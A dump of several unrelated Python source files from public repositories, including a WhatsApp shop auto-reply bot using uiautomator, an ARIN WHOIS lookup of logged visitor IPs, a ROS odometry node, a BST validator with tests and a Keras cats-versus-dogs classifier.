data.get('coordinates')[0], data.get('coordinates')[1]\n self.append_pt(coords[0], coords[1])\n self.coordinates = coords\n if self.postal_code_btn.state:\n if org:\n self.info.change_address('{}, {}. Индекс: {}'.format(data.get('address'),\n self.org,\n data.get('postal_code')))\n else:\n self.info.change_address('{}. Индекс: {}'.format(data.get('address'),\n data.get('postal_code')))\n else:\n if org:\n self.info.change_address('{}, {}'.format(data.get('address'), self.org))\n else:\n self.info.change_address(data.get('address'))\n else:\n data = get_object_info(get_response(text))\n if data is not None:\n self.coordinates = text.split(',')\n if self.postal_code_btn.state:\n if org:\n self.info.change_address('{}, {}. Индекс: {}'.format(data.get('address'),\n self.org,\n data.get('postal_code')))\n else:\n self.info.change_address('{}. Индекс: {}'.format(data.get('address'),\n data.get('postal_code')))\n else:\n if org:\n self.info.change_address('{}, {}'.format(data.get('address'), self.org))\n else:\n self.info.change_address(data.get('address'))\n self.update_map()\n\n def get_map(self):\n try:\n self.map.get_map()\n except BaseException as e:\n print('Возникла ошибка при получении карты: {}. Работа программы завершена.'.format(e))\n pygame.quit()\n sys.exit(0)\n\n\nmap_show = MapWindow(600, 450)\nwhile True:\n map_show.draw()\n","repo_name":"Bopobywek/simple_map_YandexAPI","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"8"}
+{"seq_id":"32269459948","text":"from django.conf.urls import url\nfrom . import views\nfrom .views import RegisterView\n\nurlpatterns = [\n url(r'^login/$', views.login, name='login'),\n url(r'^register/$', RegisterView.as_view(), name='register_view'),\n url(r'^logout/$', views.logout_view, name='logout'),\n url(r'^cargo/(?P\\d+)/$', views.cargo_detail, name='cargo_detail'),\n url(r'^cargo/$', views.cargo_list, name='cargo_list'),\n url(r'^cargo/$', views.cargos_list, name='cargos_list'),\n url(r'^cargo/center/$', views.cargo_center_list, name='cargo_center_list'),\n]\n","repo_name":"xbsonmez/CargoSystem","sub_path":"CargoSystem/app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"8"}
+{"seq_id":"26039277470","text":"from uiautomator import device as d\r\nfrom bs4 import BeautifulSoup\r\n\r\nimport numpy as np\r\nimport requests\r\nimport os\r\nimport time\r\ndef setAndroidHome():\r\n os.environ[\"ANDROID_HOME\"] = \"/Users/abg/Library/Android/sdk\"\r\n os.environ[\"PATH\"] = \"${PATH}:$ANDROID_HOME/tools:$ANDROID_HOME/platform-tools\"\r\n#setAndroidHome()\r\ncenter = [500, 800]\r\nprint(\"started..\")\r\ndef getXmlSnapshot():\r\n xml = d.dump()\r\n #message_1=d(resourceId=\"com.whatsapp:id/single_msg_tv\" ).text\r\n soup = BeautifulSoup(xml, 'xml')\r\n #print(message_1)\r\n print(xml)\r\n#getXmlSnapshot()\r\n# swiping functions\r\ndef fullPageSwipe():\r\n d.swipe(100, 1400, 100, 150, steps=50)\r\n\r\ndef miniSwipe():\r\n d.swipe(100, 1000, 100, 600, steps=50)\r\nprint(\"started..\")\r\ndef read_message():\r\n new_message =d(resourceId=\"com.whatsapp:id/message_text\").text\r\n print(new_message)\r\n return new_message\r\n#getXmlSnapshot()\r\nprint(\"started..\")\r\ndef sendMessageOnWhatsApp(msg):\r\n d(resourceId='com.whatsapp:id/entry').set_text(msg)\r\n d(resourceId='com.whatsapp:id/send').click()\r\nprint(\"started..\")\r\ndef readLastMsg ():\r\n count=d(resourceId='com.whatsapp:id/message_text').count\r\n lastmessage=d(resourceId='com.whatsapp:id/message_text',instance=count-1).text\r\n print(lastmessage)\r\n#readLastMsg()\r\n#readLastMsg()\r\ndef openunseenmsg ():\r\n number=d(resourceId=\"com.whatsapp:id/conversations_row_message_count\").text\r\n d(resourceId=\"com.whatsapp:id/conversations_row_message_count\").click()\r\n count=d(resourceId='com.whatsapp:id/message_text').count\r\n lastmessage=d(resourceId='com.whatsapp:id/message_text',instance=count-1).text\r\n sendMessageOnWhatsApp(\" welcome to queen's press : 1,2\")\r\n check_new_msg()\r\n\r\n#sendMessageOnWhatsApp(read_message())\r\ndef sharee ():\r\n d(resourceId=\"com.whatsapp:id/input_attach_button\").click()\r\n d(text=\"Gallery\").click()\r\n d(text=\"Download\").click()\r\n count=d(className=\"android.widget.ImageView\").count\r\n #print(count)\r\n d(resourceId=\"com.whatsapp:id/menuitem_select_multiple\").click()\r\n for i in range(1,6):\r\n d(className=\"android.widget.ImageView\",instance=i).click()\r\n time.sleep(1)\r\n d(text=\"OK\").click()\r\n d(resourceId=\"com.whatsapp:id/send\").click()\r\ndef moresharee():\r\n d(resourceId=\"com.whatsapp:id/input_attach_button\").click()\r\n d(text=\"Gallery\").click()\r\n d(text=\"Download\").click()\r\n count=d(className=\"android.widget.ImageView\").count\r\n #print(count)\r\n d(resourceId=\"com.whatsapp:id/menuitem_select_multiple\").click()\r\n for i in range(7,8):\r\n d(className=\"android.widget.ImageView\",instance=i).click()\r\n time.sleep(1)\r\n d(text=\"OK\").click()\r\n d(resourceId=\"com.whatsapp:id/send\").click()\r\n \r\ndef kurti ():\r\n d(resourceId=\"com.whatsapp:id/input_attach_button\").click()\r\n d(text=\"Gallery\").click()\r\n d(text=\"Download\").click()\r\n count=d(className=\"android.widget.ImageView\").count\r\n d(resourceId=\"com.whatsapp:id/menuitem_select_multiple\").click()\r\n for i in range(9,14):\r\n d(className=\"android.widget.ImageView\",instance=i).click()\r\n time.sleep(1)\r\n d(text=\"OK\").click()\r\n d(resourceId=\"com.whatsapp:id/send\").click()\r\ndef morekurti():\r\n d(resourceId=\"com.whatsapp:id/input_attach_button\").click()\r\n d(text=\"Gallery\").click()\r\n d(text=\"Download\").click()\r\n count=d(className=\"android.widget.ImageView\").count\r\n print(count)\r\n d(resourceId=\"com.whatsapp:id/menuitem_select_multiple\").click()\r\n for i in range(15,18):\r\n d(className=\"android.widget.ImageView\",instance=i).click()\r\n time.sleep(1)\r\n d(text=\"OK\").click()\r\n d(resourceId=\"com.whatsapp:id/send\").click()\r\n#media (\"Kurti\")\r\ndef getCoordinatesFromMatrix(index):\r\n d.wait.idle()\r\n soup = BeautifulSoup(d.dump(), 'xml')\r\n w, h = getWindowSize(soup)\r\n w0, h0, y0 = getItemSizeAndStartY(soup)\r\n print(\"w0, h0, y0 : \", w0, h0, y0)\r\n m = int(w/w0) #no of pics in a row\r\n print(\"m: \", m)\r\n x_req = ((index % m) - 0.5) * w0\r\n y_req = y0 + (int(index/m) + 0.5) * h0\r\n return [x_req, y_req]\r\ndef getWindowSize(soup):\r\n bounds =soup.find(lambda tag:tag.name == \"node\" and tag[\"package\"] == \"com.whatsapp\")[\"bounds\"]\r\n x, y, w, h = getCornersFromBounds(bounds)\r\n print(w, \" - \", h)\r\n return [w, h]\r\ndef getItemSizeAndStartY(soup):\r\n # soup = BeautifulSoup(d.dump(), 'xml')\r\n bounds = soup.find(lambda tag:tag.name == \"node\" and \"ImageView\" in tag[\"class\"] and tag[\"package\"] == \"com.whatsapp\")[\"bounds\"]\r\n x, y, w, h = getCornersFromBounds(bounds)\r\n return [w-x, h-y, y]\r\n\r\ndef getCornersFromBounds(bounds):\r\n corners = bounds.replace('][',',').replace(']','').replace('[','').split(',')\r\n x, y, w, h = [int(corner) for corner in corners]\r\n return [x,y,w,h]\r\n\r\ndef sendMedia(index):\r\n d(resourceId=\"com.whatsapp:id/input_attach_button\").click()\r\n d(text=\"Gallery\").click()\r\n d.wait.idle()\r\n # d(resourceId=\"com.whatsapp:id/title\").click()\r\n d(text=\"All media\").click()\r\n d.wait.update()\r\n count=d(className=\"android.widget.ImageView\").count \r\n # d(className=\"android.widget.ImageView\").click()\r\n clickOnImage(index)\r\n #print(count)\r\n d.wait.idle()\r\n d(resourceId=\"com.whatsapp:id/send\").click()\r\n\r\ndef clickOnImage(index):\r\n print(\"here\")\r\n d.click(*getCoordinatesFromMatrix(index))\r\n\r\ndef keepCheckingForNewMessage():\r\n while(not d(resourceId=\"com.whatsapp:id/conversations_row_message_count\").exists):\r\n time.sleep(2)\r\n openunseenmsg()\r\n#sendMedia(3)\r\ndef read_inside_msg():\r\n a=d.dump()\r\n count_1=d(resourceId='com.whatsapp:id/message_text').count\r\n time.sleep(30)\r\n count_2=d(resourceId='com.whatsapp:id/message_text').count\r\n b=d.dump()\r\n if a != b and count_1!=count_2:\r\n sendMessageOnWhatsApp(\"Hi\")\r\ndef check_new_msg():\r\n counter=0\r\n count=d(resourceId='com.whatsapp:id/message_text').count\r\n lastmessage_1=d(resourceId='com.whatsapp:id/message_text',instance=count-1).text\r\n print(lastmessage_1)\r\n print(\".....\")\r\n while(counter<30):\r\n count=d(resourceId='com.whatsapp:id/message_text').count\r\n time.sleep(2)\r\n lastmessage_2=d(resourceId='com.whatsapp:id/message_text',instance=count-1).text\r\n print(lastmessage_2)\r\n counter=counter+1\r\n if lastmessage_1!=lastmessage_2:\r\n break\r\n print(counter)\r\n if counter < 30:\r\n print(\"wait..\")\r\n if lastmessage_2== '1':\r\n sharee()\r\n sendMessageOnWhatsApp(\"To see More press 0\")\r\n sendMessageOnWhatsApp(\"TO buy press the resource id\")\r\n sendMessageOnWhatsApp(\"To see kurti press 2\")\r\n counter_1=0\r\n count=d(resourceId='com.whatsapp:id/message_text').count\r\n lastmessage_1=d(resourceId='com.whatsapp:id/message_text',instance=count-1).text\r\n print(lastmessage_1)\r\n print(\"....\") \r\n while(counter_1<30):\r\n time.sleep(2)\r\n count=d(resourceId='com.whatsapp:id/message_text').count\r\n lastmessage_2=d(resourceId='com.whatsapp:id/message_text',instance=count-1).text\r\n print(lastmessage_2)\r\n counter_1=counter_1+1\r\n if lastmessage_1!=lastmessage_2:\r\n break\r\n print(counter_1)\r\n if counter_1 < 30:\r\n print(\"wait..\")\r\n print(lastmessage_2)\r\n if lastmessage_2== \"0\":\r\n moresharee()\r\n if lastmessage_2 == \"2\":\r\n kurti()\r\n else:\r\n sendMessageOnWhatsApp(\"Thanks For Buying Product\") \r\n if lastmessage_2=='2':\r\n kurti()\r\n sendMessageOnWhatsApp(\"To see More press 0\")\r\n sendMessageOnWhatsApp(\"TO buy press the resource id\")\r\n sendMessageOnWhatsApp(\"To see sharee press 1\")\r\n counter_1=0\r\n count=d(resourceId='com.whatsapp:id/message_text').count\r\n lastmessage_1=d(resourceId='com.whatsapp:id/message_text',instance=count-1).text\r\n print(lastmessage_1)\r\n print(\"....\") \r\n while(counter_1<30):\r\n time.sleep(2)\r\n count=d(resourceId='com.whatsapp:id/message_text').count\r\n lastmessage_2=d(resourceId='com.whatsapp:id/message_text',instance=count-1).text\r\n print(lastmessage_2)\r\n counter_1=counter_1+1\r\n if lastmessage_1!=lastmessage_2:\r\n break\r\n print(counter_1)\r\n if counter_1 < 30:\r\n print(\"wait..\")\r\n print(lastmessage_2)\r\n if lastmessage_2== \"0\":\r\n morekurti()\r\n if lastmessage_2 == \"2\":\r\n sharee()\r\n else:\r\n sendMessageOnWhatsApp(\"Thanks For Buying Product\") \r\nopenunseenmsg() \r\n#read_inside_msg()\r\n#keepCheckingForNewMessage()\r\n#def downloadImage():\r\n #message_1=d(resourceId=\"com.whatsapp:id/single_msg_tv\" ).text\r\n #os.system(\"adb shell input text \" + url)\r\n #print(message_1)\r\n #d.press.enter()\r\n #time.sleep(3)\r\n #d.long_click(*center)\r\n # d(text='Download image').click()\r\n #d(text='Save image').click()\r\n\r\n\r\n#url = \"https://s3.ap-south-1.amazonaws.com/static.queensapp.in/queensSmall.png\"\r\n#downloadImage()\r\n#getXmlSnapshot()\r\n\r\n","repo_name":"Shau1111/whatsapp_uiautomator","sub_path":"queen_s.py","file_name":"queen_s.py","file_ext":"py","file_size_in_byte":9580,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"8"}
+{"seq_id":"72542275141","text":"import unittest\n\n# complexity O(n) Time and Space\ndef is_binary_search_tree(root):\n \n # Determine if the tree is a valid binary search tree\n \n # idea (inspired by interviewcake):\n ## We do a depth-first walk through the tree, \n ## testing each node for validity as we go. \n ## If a node appears in the left subtree of an ancestor, \n ## it must be less than that ancestor.\n ## If a node appears in the right subtree of an ancestor, \n ## it must be greater than that ancestor. \n\n \n node_and_bounds_stack = [(root,-float('inf'),float('inf'))]\n \n while len(node_and_bounds_stack):\n \n node, lower_bound, upper_bound = node_and_bounds_stack.pop() \n # 2 cases, node or leaf.\n # If this node is invalid, we return false right away\n if node.value <= lower_bound or node.value >= upper_bound:\n return False\n \n if node.left:\n # This node must be less than the current node\n node_and_bounds_stack.append([node.left,lower_bound,node.value])\n # This node must be greater than the current node\n if node.right:\n node_and_bounds_stack.append([node.right,node.value,upper_bound])\n\n \n return True\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# Tests (by interview cake)\n\nclass Test(unittest.TestCase):\n\n class BinaryTreeNode(object):\n\n def __init__(self, value):\n self.value = value\n self.left = None\n self.right = None\n\n def insert_left(self, value):\n self.left = Test.BinaryTreeNode(value)\n return self.left\n\n def insert_right(self, value):\n self.right = Test.BinaryTreeNode(value)\n return self.right\n\n def test_valid_full_tree(self):\n tree = Test.BinaryTreeNode(50)\n left = tree.insert_left(30)\n right = tree.insert_right(70)\n left.insert_left(10)\n left.insert_right(40)\n right.insert_left(60)\n right.insert_right(80)\n result = is_binary_search_tree(tree)\n self.assertTrue(result)\n\n def test_both_subtrees_valid(self):\n tree = Test.BinaryTreeNode(50)\n left = tree.insert_left(30)\n right = tree.insert_right(80)\n left.insert_left(20)\n left.insert_right(60)\n right.insert_left(70)\n right.insert_right(90)\n result = is_binary_search_tree(tree)\n self.assertFalse(result)\n\n def test_descending_linked_list(self):\n tree = Test.BinaryTreeNode(50)\n left = tree.insert_left(40)\n left_left = left.insert_left(30)\n left_left_left = left_left.insert_left(20)\n left_left_left.insert_left(10)\n result = is_binary_search_tree(tree)\n self.assertTrue(result)\n\n def test_out_of_order_linked_list(self):\n tree = Test.BinaryTreeNode(50)\n right = tree.insert_right(70)\n right_right = right.insert_right(60)\n right_right.insert_right(80)\n result = is_binary_search_tree(tree)\n self.assertFalse(result)\n\n def test_one_node_tree(self):\n tree = Test.BinaryTreeNode(50)\n result = is_binary_search_tree(tree)\n self.assertTrue(result)\n\n\nunittest.main(verbosity=2)\n","repo_name":"alaouiib/DS_and_Algorithms_Training","sub_path":"is_bst.py","file_name":"is_bst.py","file_ext":"py","file_size_in_byte":3218,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"8"}
+{"seq_id":"33720273876","text":"from json import loads\nfrom typing import Dict, List\nfrom urllib.error import URLError\nfrom urllib.request import Request, urlopen\n\nfrom hp_class_action.hp_database.mdb_handlers import (fetch_query)\n\n\ndef get_visitors_info() -> List[Dict]:\n \"\"\"Returns True if csv row has already been uploaded to mdb\"\"\"\n sql_query = \"\"\"\n SELECT visit_datetime \"last_visit_datetime\", ip_address, \n country_name, city, org, user_agent, COUNT(*) \"visits\"\n FROM hp_trial.website_visitors_info\n GROUP BY ip_address, country_name, city, org\n ORDER BY visit_datetime ASC\n \"\"\"\n parameters = None\n results = fetch_query(sql_query=sql_query, variables=parameters)\n\n return results\n\n\ndef get_json_request(url):\n req = Request(url)\n try:\n response = urlopen(url=req, timeout=20, )\n except URLError as e:\n if hasattr(e, 'reason'):\n print('We failed to reach a server.')\n print('Reason: ', e.reason)\n elif hasattr(e, 'code'):\n print(\"The server couldn't fulfill the request.\")\n print('Error code: ', e.code)\n return None\n\n # read JSOn data\n # https://stackoverflow.com/questions/32795460/loading-json-object-in-python-using-urllib-request-and-json-modules\n encoding = response.info().get_content_charset('utf-8')\n data = response.read()\n response = loads(data.decode(encoding))\n return response\n\n\ndef print_arin_info(mdb_row: dict) -> bool:\n \"\"\"https://www.arin.net/resources/registry/whois/rdap/\"\"\"\n \"\"\" same without using requests lib\n https://github.com/rush-dev/arin-whois/blob/master/whois.py\n \"\"\"\n response_format = \"json\"\n url = f'http://whois.arin.net/rest/ip/{mdb_row[\"ip_address\"]}.{response_format}'\n\n print(\"#\" * 50, \"ARIN Information\", \"#\" * 50)\n print(f\"getting info for ip: {mdb_row['ip_address']} \"\n f\"in country: {mdb_row['country_name']}/{mdb_row['city']} \"\n f\"for org: {mdb_row['org']}\")\n ip_response = get_json_request(url=url)\n\n print(ip_response.get('net').get('resources').get(\"limitExceeded\"))\n # IP network categories\n start_address = ip_response['net']['startAddress']['$']\n end_address = ip_response['net']['endAddress']['$']\n handle = ip_response['net']['handle']['$']\n name = ip_response['net']['name']['$']\n try:\n org_name = ip_response['net']['orgRef']['@name']\n org_handle = ip_response['net']['orgRef']['@handle']\n except Exception as ex:\n print(f'Error with org_name/org_handle: {ex}')\n return False\n last_updated = ip_response['net']['updateDate']['$']\n rest_link = ip_response['net']['ref']['$']\n\n # Second GET request with organization name\n\n url = f'https://whois.arin.net/rest/org/{org_handle}.{response_format}'\n org_response = get_json_request(url=url)\n\n # Organization categories\n\n city = org_response['org']['city']['$']\n postal = org_response['org']['postalCode']['$']\n country = org_response['org']['iso3166-1']['code2']['$']\n org_last_updated = org_response['org']['updateDate']['$']\n org_rest_link = org_response['org']['ref']['$']\n\n # Try statements to catch commonly blank fields and differences in indexing on ARIN's side\n\n try:\n cidr = ip_response['net']['netBlocks']['netBlock']['cidrLength']['$']\n except TypeError:\n cidr = ip_response['net']['netBlocks']['netBlock'][0]['cidrLength']['$']\n\n try:\n net_type = ip_response['net']['netBlocks']['netBlock']['description']['$']\n except TypeError:\n net_type = ip_response['net']['netBlocks']['netBlock'][0]['description']['$']\n\n try:\n parent_name = ip_response['net']['parentNetRef']['@name']\n parent_handle = ip_response['net']['parentNetRef']['@handle']\n except KeyError:\n parent_name = ''\n parent_handle = ''\n\n try:\n origin_as = ip_response['net']['originASes']['originAS'][0]['$']\n except KeyError:\n origin_as = ''\n\n try:\n reg_date = ip_response['net']['registrationDate']['$']\n except KeyError:\n reg_date = ''\n\n try:\n org_reg_date = org_response['org']['registrationDate']['$']\n except KeyError:\n org_reg_date = ''\n\n try:\n state = org_response['org']['iso3166-2']['$']\n except KeyError:\n state = ''\n\n try:\n street = org_response['org']['streetAddress']['line']['$']\n except TypeError:\n street = org_response['org']['streetAddress']['line'][0]['$']\n\n # Output to terminal\n print('Network')\n print(f'NetRange: {start_address} - {end_address}')\n print(f'CIDR: {start_address}/{cidr}')\n print(f'Name: {name}')\n print(f'Handle: {handle}')\n print(f'Parent: {parent_name} ({parent_handle})')\n print(f'NetType: {net_type}')\n print(f'OriginAS: {origin_as}')\n print(f'Organization: {org_name} ({org_handle})')\n print(f'RegistrationDate: {reg_date}')\n print(f'LastUpdated: {last_updated}')\n print(f'RESTful Link: {rest_link}\\n')\n print('Organization')\n print(f'Name: {org_name}')\n print(f'Handle: {org_handle}')\n print(f'Street: {street}')\n print(f'City: {city}')\n print(f'State/Province: {state}')\n print(f'PostalCode: {postal}')\n print(f'Country: {country}')\n print(f'RegistrationDate: {org_reg_date}')\n print(f'LastUpdated: {org_last_updated}')\n print(f'RESTful Link: {org_rest_link}')\n return True\n\n\ndef print_all_visitors_info():\n visitors = get_visitors_info()\n errors = []\n for visitor in visitors:\n if not print_arin_info(mdb_row=visitor):\n errors.append(visitor)\n if errors:\n print(\"-\" * 100)\n print(f\"ARIN couldn't find information for the followings IPs:\")\n [print(f\" {index + 1:02d}-\", error) for index, error in enumerate(errors)]\n\n\nif __name__ == '__main__':\n get_visitors_info()\n print_all_visitors_info()\n","repo_name":"nono-london/hp_class_action","sub_path":"hp_class_action/hp_website/visitors_ip/arin_whois.py","file_name":"arin_whois.py","file_ext":"py","file_size_in_byte":6038,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"8"}
+{"seq_id":"28486287076","text":"#!/usr/bin/env python\n\nimport rospy, math\nfrom numpy import interp\nfrom std_msgs.msg import Float32, Float64MultiArray\nfrom geometry_msgs.msg import Twist, TwistStamped, Pose, Point, Quaternion, TransformStamped\nfrom nav_msgs.msg import Odometry\nfrom tf2_ros import TransformBroadcaster\nimport tf\n\n\n\nclass Odometry_Calculator:\n def __init__(self):\n ## tbd \n rospy.init_node(\"odometry_calculator\", anonymous=True)\n self.throttle = 0.0\n self.steering = 0.0\n self.pose = Pose()\n self.angular_vel = 0.0\n self.last_timestamp = rospy.Time.now()\n self.odom_pub = rospy.Publisher(\"odom\", Odometry, queue_size=10)\n self.odom_trans_broadcaster = TransformBroadcaster()\n\n def calculate_odometry(self):\n # distance traveled in x per second = 208 * cmd_vel.linear.x - 43.64\n # Auto bewegt sich nicht bei cmd_vel.linear.x Werten unter 0.2 -> zurueckgelegte Strecke 0\n duration = (rospy.Time.now() - self.last_timestamp).to_sec()\n print(\"Duration between calculation: {0}\".format(duration))\n self.last_timestamp = rospy.Time.now()\n\n explicit_quat = [\n self.pose.orientation.x,\n self.pose.orientation.y,\n self.pose.orientation.z,\n self.pose.orientation.w\n ]\n\n print(\"Position: ( {0} | {1} | {2} ) \\n Orientation: ( {3} | {4} | {5} | {6}\".format(\n self.pose.position.x, \n self.pose.position.y,\n self.pose.position.z,\n self.pose.orientation.x,\n self.pose.orientation.y,\n self.pose.orientation.z,\n self.pose.orientation.w\n ))\n\n #explicit_quat = [0.0, 0.0, 0.0, 0.0]\n\n roll, pitch, yaw = tf.transformations.euler_from_quaternion(explicit_quat)\n print(\"Yaw: {0}\".format(yaw))\n x_dot = 0\n y_dot = 0\n\n if self.throttle == 0:\n x_dot = 0\n y_dot = 0\n else: \n x_dot = (208 * self.throttle - 43) * math.cos(yaw) # euler[2] == yaw\n y_dot = (208 * self.throttle -43) * math.sin(yaw)\n\n self.pose.position.x += x_dot * duration\n self.pose.position.y += y_dot * duration\n\n yaw += self.angular_vel * duration # update yaw \n\n \n explicit_quat = tf.transformations.quaternion_from_euler(roll, pitch, yaw)\n\n #Reihenfolge von x y z w unklar im nparray was von quaternion_from_euler zurueckkomt -> pruefen\n self.pose.orientation.x = explicit_quat[0]\n self.pose.orientation.y = explicit_quat[1]\n self.pose.orientation.z = explicit_quat[2]\n self.pose.orientation.w = explicit_quat[3]\n\n odom = Odometry()\n odom.header.frame_id = \"/odom\"\n odom.header.stamp = rospy.Time.now()\n odom.pose = self.pose\n odom.twist.covariance[0] = 0.2 #x\n odom.twist.covariance[7] = 0.2 #y \n odom.twist.covariance[35] = 0.4 #yaw\n odom.twist.twist.linear.x = self.throttle\n odom.twist.twist.linear.y = 0\n odom.twist.twist.angular.z = self.angular_vel\n\n\n # Odom Transform publishen\n\n odom_stamped = TransformStamped()\n odom_stamped.header.stamp = self.last_timestamp\n odom_stamped.header.frame_id = \"odom\"\n odom_stamped.child_frame_id = \"base_link\"\n odom_stamped.transform.translation.x = x_dot * duration\n odom_stamped.transform.translation.y = y_dot * duration\n self.odom_trans_broadcaster.sendTransform(odom_stamped)\n\n return odom\n\n def throttle_callback(self, throttle):\n self.throttle = throttle.data\n\n def steering_callback(self, steering):\n self.steering = steering.data\n\n def racecar_data_callback(self, racecar_data):\n self.throttle = racecar_data.data[0]\n self.steering = racecar_data.data[1]\n self.angular_vel = racecar_data.data[2]\n \n\n\n def odometry_node(self):\n # rospy.Subscriber(\"throttle\", Float32, self.throttle_callback, queue_size=1)\n # rospy.Subscriber(\"steering\", Float32, self.steering_callback, queue_size=1)\n rospy.Subscriber(\"racecar_data\", Float64MultiArray, self.racecar_data_callback, queue_size=1)\n print(\"Odometry started.\")\n while not rospy.is_shutdown():\n odom = self.calculate_odometry()\n self.odom_pub.publish(odom)\n\n rospy.sleep(0.1)\n\n #rospy.spin()\n \n # def convert_rotational_vel_to_steering_angle(self, v, omega):\n # if omega == 0:\n # return 0\n \n # radius = v / omega\n # print(\"Radius : {0}\".format(radius))\n # print(\"Steering Angle in Radian: {0}\".format(math.atan(self.wheelbase/radius)))\n # print(\"Steering Angle in Degree: {0}\".format(math.degrees(math.atan(self.wheelbase/radius))))\n # return math.atan(self.wheelbase/radius)\n\n\nif __name__ == '__main__':\n \n odom_calc = Odometry_Calculator()\n odom_calc.odometry_node()\n print(\"Shutting down\")\n\n","repo_name":"mounteverset/jetracer_ros","sub_path":"Software/odom_calculator/src/odometry_calculation.py","file_name":"odometry_calculation.py","file_ext":"py","file_size_in_byte":5036,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"8"}
+{"seq_id":"75198659782","text":"import os\n\nimport pandas as pd\n\nimport numpy as np\n\nimport matplotlib.pyplot as plt\n\nfrom sklearn.model_selection import train_test_split\n\nfrom tensorflow.keras.applications import VGG16\n\nfrom tensorflow.keras import models, layers, optimizers\n\nfrom tensorflow.keras import callbacks\n\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator\nlen(os.listdir('../input/dogs-vs-cats/train/train'))\ntrain_dir = \"../input/dogs-vs-cats/train/train\"\n\ntest_dir = \"../input/dogs-vs-cats/test1/test1\"\n\n\n\ntrain_images = os.listdir(train_dir)\n\ntrain_labels = []\n\nfor image in train_images:\n\n label = image.split('.')[0]\n\n train_labels.append(label)\n\ndf = pd.DataFrame({\n\n 'id': train_images,\n\n 'label': train_labels\n\n})\ntrain_set, val_set = train_test_split(df, test_size=0.2)\n\n\n\ntrain_gen = ImageDataGenerator(rescale=1./255,\n\n horizontal_flip=True,\n\n rotation_range=45,\n\n zoom_range=0.2,\n\n shear_range=0.2,\n\n height_shift_range=0.2,\n\n width_shift_range=0.2,\n\n fill_mode='nearest')\n\nval_gen = ImageDataGenerator(rescale=1./255)\n\n\n\ntrain_data = train_gen.flow_from_dataframe(\n\n train_set, \n\n train_dir, \n\n x_col='id',\n\n y_col='label',\n\n target_size=(150, 150),\n\n class_mode='binary',\n\n batch_size=100)\n\n\n\nval_data = val_gen.flow_from_dataframe(\n\n val_set, \n\n train_dir, \n\n x_col='id',\n\n y_col='label',\n\n target_size=(150, 150),\n\n class_mode='binary',\n\n batch_size=100)\nmodel = models.Sequential([layers.Conv2D(16, (3, 3), activation='relu', input_shape=(150, 150, 3)),\n\n layers.Conv2D(16, (3, 3), activation='relu'),\n\n layers.BatchNormalization(),\n\n layers.MaxPooling2D(2, 2),\n\n \n\n layers.Conv2D(32, (3, 3), activation='relu'),\n\n layers.Conv2D(32, (3, 3), activation='relu'),\n\n layers.BatchNormalization(),\n\n layers.MaxPooling2D(2, 2),\n\n \n\n layers.Dropout(0.2),\n\n \n\n layers.Conv2D(64, (3, 3), activation='relu'),\n\n layers.Conv2D(64, (3, 3), activation='relu'),\n\n layers.BatchNormalization(),\n\n layers.MaxPooling2D(2, 2),\n\n \n\n layers.Flatten(),\n\n layers.Dense(256, activation='relu'),\n\n layers.Dense(1, activation='sigmoid')])\nmodel.summary()\nmodel.compile(loss='binary_crossentropy',\n\n optimizer=optimizers.Adam(lr=0.001, beta_1=0.9, beta_2=0.999),\n\n metrics=['accuracy'])\nhistory = model.fit_generator(train_data,\n\n steps_per_epoch=200,\n\n epochs=10,\n\n validation_data=val_data,\n\n validation_steps=50)\nmodel.save('model.h5')\ndef plot_history(history):\n\n acc = history.history['accuracy']\n\n val_acc = history.history['val_accuracy']\n\n loss = history.history['loss']\n\n val_loss = history.history['val_loss']\n\n epochs = range(1, len(acc)+1)\n\n \n\n plt.plot(epochs, acc, 'b--', label='acc')\n\n plt.plot(epochs, val_acc, 'r--', label='val_acc')\n\n plt.xlabel('epochs')\n\n plt.ylabel('accuracy')\n\n plt.legend()\n\n plt.grid()\n\n \n\n plt.figure()\n\n plt.plot(epochs, loss, 'b--', label='loss')\n\n plt.plot(epochs, val_loss, 'r--', label='val_loss')\n\n plt.xlabel('epochs')\n\n plt.ylabel('accuracy')\n\n plt.legend()\n\n plt.grid()\ntest_images = os.listdir(test_dir)\n\nsubmission = pd.DataFrame({\n\n 'id': test_images\n\n})\n\n\n\n\n\ntest_gen = ImageDataGenerator(rescale=1./255)\n\n\n\ntest_data = test_gen.flow_from_dataframe(\n\n submission, \n\n test_dir, \n\n x_col='id',\n\n y_col=None,\n\n class_mode=None,\n\n target_size=(150, 150),\n\n batch_size=100,\n\n shuffle=False\n\n)\n\n\n\npredictions = model.predict_generator(test_data, steps=125)\npredictions = [1 if pred > 0.5 else 0 for pred in predictions]\n\n\n\nsubmission['label'] = predictions\n\n\n\nlabel_maps = dict((i, j) for j, i in train_data.class_indices.items())\n\nsubmission['label'] = submission['label'].replace(label_maps)\n\n\n\n\n\nsubmission['label'] = submission['label'].replace({ 'dog': 1, 'cat': 0 })\n\n\n\nsubmission.to_csv('submission.csv', index=False)\n\n\n\nsubmission.head()","repo_name":"aorursy/new-nb-4","sub_path":"kanametov_cats-vs-dogs.py","file_name":"kanametov_cats-vs-dogs.py","file_ext":"py","file_size_in_byte":4660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"8"}
